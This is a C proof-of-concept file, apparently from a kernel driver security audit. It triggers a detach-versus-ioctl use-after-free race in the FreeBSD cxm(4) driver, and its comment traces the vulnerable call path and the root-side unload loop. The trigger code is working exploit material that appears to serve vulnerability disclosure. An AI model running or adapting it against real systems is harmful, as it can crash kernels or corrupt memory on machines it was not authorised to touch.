DF-4753 / cxm_uaf_race.c
/* DF-4753 - cxm(4) detach-vs-ioctl use-after-free race trigger. * * Victim side (unprivileged): hammer BT848_SAUDIO(AUDIO_TUNER) on * /dev/cxm0 (mode 0444 -> world-openable with O_RDONLY; cxm.c:1885). * Each ioctl takes the (unserialized) path * cxm_ioctl (cxm.c:2306) * -> cxm_pause_encoder * -> cxm_msp_select_source (cxm_msp34xxx.c:412) * -> cxm_encoder_wait_for_lock (cxm.c:~1510) * -> cxm_msp_autodetect_standard (cxm_msp34xxx.c:500) * -> cxm_msp_wait_for_lock (cxm_msp34xxx.c:588) * which tsleep()s 10 x hz/20 (~500 ms) while dereferencing sc * (sc->iicbus at cxm_msp34xxx.c:295/298/302/338..., sc->dev at :624). * * Killer side (root, separate shell): `while :; do kldunload cxm; * kldload cxm; done` -> cxm_detach (cxm.c:1944) tears down the I2C * bus and the module unload frees the softc. An ioctl sleeping in * cxm_msp_wait_for_lock wakes into freed memory. * * REQUIRES a Conexant iTVC15/iTVC16 (CX23880-2388x) PCI card. * Without the card the driver never attaches and /dev/cxm0 does not * exist (verified on the audit guest: kldload cxm succeeds, no * /dev/cxm* node appears). */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> /* sys/dev/video/bktr/ioctl_bt848.h */ #define AUDIO_TUNER 0x00 #define BT848_SAUDIO _IOW('x', 46, int) int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/cxm0"; int fd, arg, i; for (i = 0; i < 200000; i++) { fd = open(dev, O_RDONLY); /* 0444 cdev: unprivileged */ if (fd < 0) { if (errno == ENOENT || errno == ENXIO) { fprintf(stderr, "no %s (cxm hardware absent) - trigger " "hardware-gated\n", dev); return 3; } perror("open"); return 1; } arg = AUDIO_TUNER; /* sleeps ~0.5 s inside cxm_msp_wait_for_lock per call */ if (ioctl(fd, BT848_SAUDIO, &arg) < 0 && errno != EINVAL) perror("ioctl (expected after detach: ENXIO/dead dev)"); close(fd); } return 0; } |